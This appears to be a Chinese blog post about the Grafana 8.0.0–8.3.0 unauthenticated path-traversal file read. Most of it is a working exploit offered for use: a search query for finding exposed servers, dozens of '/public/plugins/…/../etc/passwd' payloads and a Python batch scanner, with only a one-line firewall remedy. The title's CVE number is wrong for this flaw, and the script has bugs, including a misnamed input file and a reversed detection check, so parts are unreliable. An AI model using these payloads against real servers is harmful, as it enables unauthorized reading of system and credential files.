CVE-2024-43798——Grafana 未授权任意文件读取_grafana未授权访问(1)

app="Grafana"

影响范围

Grafana 8.0.0 - 8.3.0

漏洞测试

payload

/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd

/public/plugins/alertlist/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd

批量POC

payload.txt

alertGroups      
alertlist     
 alertmanager      
annolist      
barchart      
bargauge     
 canvas      
cloudwatch      
dashboard      
dashlist
debug
elasticsearch
gauge
geomap
gettingstarted
grafana-azure-monitor-datasource
grafana
graph
graphite
heatmap
histogram
influxdb
jaeger
live
logs
loki
mixed
mssql
mysql
news
nodeGraph
opentsdb
piechart
pluginlist
postgres
prometheus
stat
state-timeline
status-history
table-old
table
tempo
testdata
text
timeseries
welcome
xychart
zipkin
cloud-monitoring
cloudwatch
alertmanager
dashboard

使用介绍：
python3 exp.py IP:PORT

# coding=utf-8
# 作者：李白
import requests
import sys
 
args = str(sys.argv[1])
f = open("./paload.txt")
for line in f:
    url = "http://"+args+"/public/plugins/"+str.rstrip(line)+"/../../../../../../../../../../../etc/passwd"
    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
    }
    req = requests.post(url, headers=headers,timeout=(3,7),allow\_redirects=False)
    a=req.text
    str1='root'
    if a in str1:
        print('确认存在'+str.rstrip(line)+'路径,并存在漏洞!')
        print(url)
    else:
        print('不存在漏洞!')

修复建议

目前没有详细的解决方案提供，请关注厂商主页更新：https://grafana.com/

临时修复建议：

1、通过防火墙等安全设备设置访问策略，设置白名单访问。